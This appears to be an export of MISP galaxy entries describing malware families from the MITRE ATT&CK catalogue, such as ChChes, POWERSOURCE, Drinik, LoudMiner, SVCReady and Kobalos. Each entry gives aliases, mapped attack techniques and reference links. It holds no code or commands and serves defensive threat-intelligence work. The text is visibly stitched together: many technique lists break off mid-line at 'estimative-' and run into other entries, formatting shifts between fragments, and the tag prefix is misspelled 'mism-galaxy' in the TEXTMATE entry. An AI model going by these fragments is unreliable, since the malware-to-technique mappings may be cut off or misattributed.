- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0414">https://attack.mitre.org/software/S0414</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/">https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/</a></td>
</tr>
</tbody>
</table>

**ChChes - S0144**

[ChChes](https://attack.mitre.org/software/S0144) is a Trojan that appears to be used exclusively by [menuPass](https://attack.mitre.org/groups/G0045). It was used to target Japanese organizations in 2016. Its lack of persistence methods suggests it may be intended as a first-stage tool. (Citation: Palo Alto menuPass Feb 2017) (Citation: JPCERT ChChes Feb 2017) (Citation: PWC Cloud Hopper Technical Annex April 2017)

The tag is: *misp-galaxy:mitre-malware="ChChes - S0144"*

ChChes - S0144 is also known as:

- ChChes
- Scorpion
• HAYMAKER

View relationships graph

ChChes - S0144 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:malpedia="ChChes" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:tool="HAYMAKER" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6865. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blog.jpcert.or.jp/2017/02/chches-malware%E2%80%9493d6.html">http://blog.jpcert.or.jp/2017/02/chches-malware—93d6.html</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/software/S0144">https://attack.mitre.org/software/S0144</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ItsReallyNick/status/850105140589633536">https://twitter.com/ItsReallyNick/status/850105140589633536</a></td>
</tr>
</tbody>
</table>
FunnyDream - S1044

FunnyDream ([https://attack.mitre.org/software/S1044](https://attack.mitre.org/software/S1044)) is a backdoor with multiple components that was used during the [FunnyDream](https://attack.mitre.org/campaigns/C0007) campaign since at least 2019, primarily for execution and exfiltration. (Citation: Bitdefender FunnyDream Campaign November 2020)

The tag is: `misp-galaxy:mitre-malware="FunnyDream - S1044"`

FunnyDream - S1044 is also known as:

- FunnyDream

View relationships graph

FunnyDream - S1044 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120"` with `estimative-
• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-
PowerShower - S0441

[PowerShower](https://attack.mitre.org/software/S0441) is a PowerShell backdoor used by [Inception](https://attack.mitre.org/groups/G0100) for initial reconnaissance and to download and execute second stage payloads.(Citation: Unit 42 Inception November 2018)(Citation: Kaspersky Cloud Atlas August 2019)

The tag is: `misp-galaxy:mitre-malware="PowerShower - S0441"`

PowerShower - S0441 is also known as:

- PowerShower

View relationships graph

PowerShower - S0441 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-
BOOSTWRITE - S0415

[BOOSTWRITE](https://attack.mitre.org/software/S0415) is a loader crafted to be launched via abuse of the DLL search order of applications used by [FIN7](https://attack.mitre.org/groups/G0046). (Citation: FireEye FIN7 Oct 2019)

The tag is: misp-galaxy:mitre-malware="BOOSTWRITE - S0415"

BOOSTWRITE - S0415 is also known as:

- BOOSTWRITE

View relationships graph

BOOSTWRITE - S0415 has relationships with:

Table 6868. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0415">https://attack.mitre.org/software/S0415</a></td>
</tr>
</tbody>
</table>

**POWERSOURCE - S0145**

[POWERSOURCE](https://attack.mitre.org/software/S0145) is a PowerShell backdoor that is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. It was observed in February 2017 in spearphishing campaigns against personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations. The malware was delivered when macros were enabled by the victim and a VBS script was dropped. (Citation: FireEye FIN7 March 2017) (Citation: Cisco DNSMessenger March 2017)

The tag is: *misp-galaxy:mitre-malware="POWERSOURCE - S0145"*

POWERSOURCE - S0145 is also known as:

- POWERSOURCE
- DNSMessenger

View relationships graph

POWERSOURCE - S0145 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"*
- uses: *misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"*
- similar: *misp-galaxy:malpedia="DNSMessenger" with estimative-language:likelihood-probability="likely"*
• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:rat="DNSMessenger" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

Table 6869. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blog.talosintelligence.com/2017/03/dnsmessenger.html">http://blog.talosintelligence.com/2017/03/dnsmessenger.html</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/software/S0145">https://attack.mitre.org/software/S0145</a></td>
</tr>
</tbody>
</table>

**Drinik - S1054**

[Drinik](https://attack.mitre.org/software/S1054) is an evolving Android banking trojan that was observed targeting customers of around 27 banks in India in August 2021. Initially seen as an SMS stealer in 2016, [Drinik](https://attack.mitre.org/software/S1054) resurfaced as a banking trojan with more advanced capabilities included in subsequent versions between September 2021 and August 2022.(Citation: cyble_drinik_1022)

The tag is: **misp-galaxy:mitre-malware="Drinik - S1054"**

Drinik - S1054 is also known as:

• Drinik

View relationships graph

Drinik - S1054 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Call Log - T1636.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1629.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1646" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Call Control - T1616" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="GUI Input Capture - T1417.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Foreground Persistence - T1541" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1417.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1628.001" with estimative-language:likelihood-probability="almost-certain"

**LoudMiner - S0451**

[LoudMiner](https://attack.mitre.org/software/S0451) is a cryptocurrency miner which uses virtualization software to siphon system resources. The miner has been bundled with pirated copies of Virtual Studio Technology (VST) for Windows and macOS.(Citation: ESET LoudMiner June 2019)

The tag is: `misp-galaxy:mitre-malware="LoudMiner - S0451"`

LoudMiner - S0451 is also known as:

• LoudMiner

**View relationships graph**

LoudMiner - S0451 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Launch Daemon - T1543.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Launchctl - T1569.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Run Virtual Instance - T1564.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 6871. Table References

Links

https://attack.mitre.org/software/S0451

https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/
WellMess - S0514

[WellMess](https://attack.mitre.org/software/S0514) is lightweight malware family with variants written in .NET and Golang that has been in use since at least 2018 by [APT29](https://attack.mitre.org/groups/G0016). (Citation: CISA WellMess July 2020)(Citation: PWC WellMess July 2020)(Citation: NCSC APT29 July 2020)

The tag is: `misp-galaxy:mitre-malware="WellMess - S0514"`

WellMess - S0514 is also known as:

- WellMess

View relationships graph

WellMess - S0514 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="DNS - T1071.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-
TEXTMATE - S0146

(TEXTMATE)(https://attack.mitre.org/software/S0146) is a second-stage PowerShell backdoor that is memory-resident. It was observed being used along with [POWERSOURCE](https://attack.mitre.org/software/S0145) in February 2017. (Citation: FireEye FIN7 March 2017)

The tag is: mism-galaxy:mitre-malware="TEXTMATE - S0146"

TEXTMATE - S0146 is also known as:

- TEXTMATE
- DNSMessenger

View relationships graph

TEXTMATE - S0146 has relationships with:

- uses: mism-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- similar: mism-galaxy:malpedia="DNSMessenger" with estimative-language:likelihood-probability="likely"
- similar: mism-galaxy:rat="DNSMessenger" with estimative-language:likelihood-probability="likely"

Table 6873. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blog.talosintelligence.com/2017/03/dnsmessenger.html">http://blog.talosintelligence.com/2017/03/dnsmessenger.html</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/software/S0146">https://attack.mitre.org/software/S0146</a></td>
</tr>
</tbody>
</table>
CostaBricks - S0614

[CostaBricks](https://attack.mitre.org/software/S0614) is a loader that was used to deploy 32-bit backdoors in the [CostaRicto](https://attack.mitre.org/groups/G0132) campaign. (Citation: BlackBerry CostaRicto November 2020)

The tag is: `misp-galaxy:mitre-malware="CostaBricks - S0614"`

CostaBricks - S0614 is also known as:

- CostaBricks

View relationships graph

CostaBricks - S0614 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"

Table 6874. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0614">https://attack.mitre.org/software/S0614</a></td>
</tr>
</tbody>
</table>

SDBbot - S0461

[SDBbot](https://attack.mitre.org/software/S0461) is a backdoor with installer and loader components that has been used by [TA505](https://attack.mitre.org/groups/G0092) since at least 2019. (Citation: Proofpoint TA505 October 2019)(Citation: IBM TA505 April 2020)

The tag is: `misp-galaxy:mitre-malware="SDBbot - S0461"`

SDBbot - S0461 is also known as:

- SDBbot
SDBbot - S0461 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Image File Execution Options Injection - T1546.012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Location Discovery - T1614" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-
Table 6875. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0461">https://attack.mitre.org/software/S0461</a></td>
<td></td>
</tr>
</tbody>
</table>

**SVCReady - S1064**

[SVCReady](https://attack.mitre.org/software/S1064) is a loader that has been used since at least April 2022 in malicious spam campaigns. Security researchers have noted overlaps between [TA551](https://attack.mitre.org/groups/G0127) activity and [SVCReady](https://attack.mitre.org/software/S1064) distribution, including similarities in file names, lure images, and identical grammatical errors. (Citation: HP SVCReady Jun 2022)

The tag is: *misp-galaxy:mitre-malware="SVCReady - S1064"*

SVCReady - S1064 is also known as:

- SVCReady

View relationships graph

SVCReady - S1064 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"* with estimative-language:likelihood-probability="almost-certain"


- uses: *misp-galaxy:mitre-attack-pattern="Screen Capture - T1113"* with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033"* with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1546.015" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-
RDFSNIFFER - S0416

[RDFSNIFFER](https://attack.mitre.org/software/S0416) is a module loaded by [BOOSTWRITE](https://attack.mitre.org/software/S0415) which allows an attacker to monitor and tamper with legitimate connections made via an application designed to provide visibility and system management capabilities to remote IT techs. (Citation: FireEye FIN7 Oct 2019)

The tag is: *misp-galaxy:mitre-malware="RDFSNIFFER - S0416"*

RDFSNIFFER - S0416 is also known as:

- RDFSNIFFER

View relationships graph

RDFSNIFFER - S0416 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Native API - T1106"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Credential API Hooking - T1056.004"* with estimative-language:likelihood-probability="almost-certain"

TDTESS - S0164

[TDTESS](https://attack.mitre.org/software/S0164) is a 64-bit .NET binary backdoor used by [CopyKittens](https://attack.mitre.org/groups/G0052). (Citation: ClearSky Wilted Tulip July 2017)

The tag is: *misp-galaxy:mitre-malware="TDTESS - S0164"*

TDTESS - S0164 is also known as:
TDTESS

View relationships graph

TDTESS - S0164 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="TDTESS" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6878. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0164">https://attack.mitre.org/software/S0164</a></td>
</tr>
</tbody>
</table>

PowGoop - S1046

[PowGoop](https://attack.mitre.org/software/S1046) is a loader that consists of a DLL loader and a PowerShell-based downloader; it has been used by [MuddyWater](https://attack.mitre.org/groups/G0069) as their main loader.(Citation: DHS CISA AA22-055A MuddyWater February 2022)(Citation: CYBERCOM Iranian Intel Cyber January 2022)

The tag is: misp-galaxy:mitre-malware="PowGoop - S1046"

PowGoop - S1046 is also known as:

- PowGoop

View relationships graph

PowGoop - S1046 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-
Kobalos - S0641

[Kobalos](https://attack.mitre.org/software/S0641) is a multi-platform backdoor that can be used against Linux, FreeBSD, and Solaris. [Kobalos](https://attack.mitre.org/software/S0641) has been deployed against high profile targets, including high-performance computers, academic servers, an endpoint security vendor, and a large internet service provider; it has been found in Europe, North America, and Asia. [Kobalos](https://attack.mitre.org/software/S0641) was first identified in late 2019. (Citation: ESET Kobalos Feb 2021)(Citation: ESET Kobalos Jan 2021)

The tag is: `misp-galaxy:mitre-malware="Kobalos - S0641"`

Kobalos - S0641 is also known as:

- Kobalos

View relationships graph

Kobalos - S0641 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Traffic Signaling - T1205" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Compromise Client Software Binary - T1554" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"

Table 6880. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0641">https://attack.mitre.org/software/S0641</a></td>
</tr>
</tbody>
</table>

**ANDROMEDA - S1074**

[ANDROMEDA](https://attack.mitre.org/software/S1074) is commodity malware that was widespread in the early 2010’s and continues to be observed in infections across a wide variety of industries. During the 2022 [C0026](https://attack.mitre.org/campaigns/C0026) campaign, threat actors re-registered expired [ANDROMEDA](https://attack.mitre.org/software/S1074) C2 domains to spread malware to select targets in Ukraine.(Citation: Mandiant Suspected Turla Campaign February 2023)

The tag is: `misp-galaxy:mitre-malware="ANDROMEDA - S1074"`
ANDROMEDA - S1074 is also known as:

- ANDROMEDA

View relationships graph

ANDROMEDA - S1074 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade File Type - T1036.008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6881. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1074">https://attack.mitre.org/software/S1074</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/turla-galaxy-opportunity">https://www.mandiant.com/resources/blog/turla-galaxy-opportunity</a></td>
</tr>
</tbody>
</table>

GRIFFON - S0417

[GRIFFON](https://attack.mitre.org/software/S0417) is a JavaScript backdoor used by [FIN7](https://attack.mitre.org/groups/G0046). (Citation: SecureList Griffon May 2019)

The tag is: misp-galaxy:mitre-malware="GRIFFON - S0417"

GRIFFON - S0417 is also known as:

- GRIFFON

View relationships graph

GRIFFON - S0417 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-
Mori - S1047

[Mori](https://attack.mitre.org/software/S1047) is a backdoor that has been used by [MuddyWater](https://attack.mitre.org/groups/G0069) since at least January 2022.(Citation: DHS CISA AA22-055A MuddyWater February 2022)(Citation: CYBERCOM Iranian Intel Cyber January 2022)

The tag is: **misp-galaxy:mitre-malware="Mori - S1047"**

Mori - S1047 is also known as:

- Mori

View relationships graph

Mori - S1047 has relationships with:

- uses: **misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001"** with estimative-language:likelihood-probability="almost-certain"
- uses: **misp-galaxy:mitre-attack-pattern="DNS - T1071.004"** with estimative-language:likelihood-probability="almost-certain"
